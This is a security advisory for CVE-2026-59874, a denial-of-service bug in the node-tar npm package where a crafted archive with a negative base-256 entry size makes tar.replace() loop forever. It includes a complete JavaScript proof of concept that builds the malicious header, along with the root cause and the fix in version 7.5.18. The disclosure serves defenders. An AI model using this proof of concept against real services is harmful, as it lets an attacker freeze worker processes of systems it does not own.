high · 7.5CVE-2026-59874Jul 20, 2026

CVE-2026-59874: node-tar Infinite Loop via Negative Base-256 Entry Size

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted tar archive with a negative entry size can make node-tar's replace operation loop forever, letting an attacker freeze a worker process with a single malicious file.

Packagetar
Ecosystemnpm
Affected<= 7.5.17
Fixed in7.5.18

The problem

The `tar.replace()` API scans an existing archive before appending new entries. It parses each header and advances the read position by the entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scanner accepts that negative value, computes a body skip of `-512`, then adds the normal 512-byte header advance, for zero net progress.

The scanner loops on the same header forever and denial of service results.

This is reachable through the public package API whenever the target archive file is attacker-controlled. No extraction path is involved.

Proof of concept

A working proof-of-concept for CVE-2026-59874 in tar, with the exact payload below.

javascript
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

// Build a 512-byte tar header with size field base-256 encoded as -512
const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)           // filename
  oct(h, 0o644, 100, 8)     // mode
  oct(h, 0, 108, 8)         // uid
  oct(h, 0, 116, 8)         // gid

  // size field (bytes 124-135): base-256 encoded -512
  // 0x80 marker byte + 0xff bytes + 0xfe 0x00 = -512 in two's complement
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)        // mtime
  h.fill(0x20, 148, 156)    // checksum placeholder (spaces)
  h[156] = 0x30             // type flag '0' (regular file)
  h.write('ustar\0' + '00', 257, 8, 'binary')

  // Compute and write real checksum
  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

// true means the process timed out (never completed)
console.log(r.error?.code === 'ETIMEDOUT')

The root cause is that `header.ts` parsed base-256 encoded sizes without rejecting negative values (CWE-835). With a size of `-512`, the position advance inside the replace scan is `-512 + 512 = 0`, so the loop index never moves forward.

The fix in commit `9e78bf0` introduces a `notNegative` helper that returns `undefined` for any parsed numeric value below zero, applied to the size field in both `header.ts` and `pax.ts`. An `undefined` size causes the scanner to treat the header as malformed and bail out rather than loop.

The checksum on the crafted header is valid, so no prior integrity check catches it. The only gate was the missing lower-bound validation on the parsed size.

The fix

Upgrade `tar` to version 7.5.18 or later. No workaround exists for applications that call `tar.replace()` on attacker-controlled archives in older versions. Pure extraction workflows (`tar.extract`, `tar.list`) are not affected by this specific issue.

Reporter not attributed.

References: [1][2][3][4][5]

Related research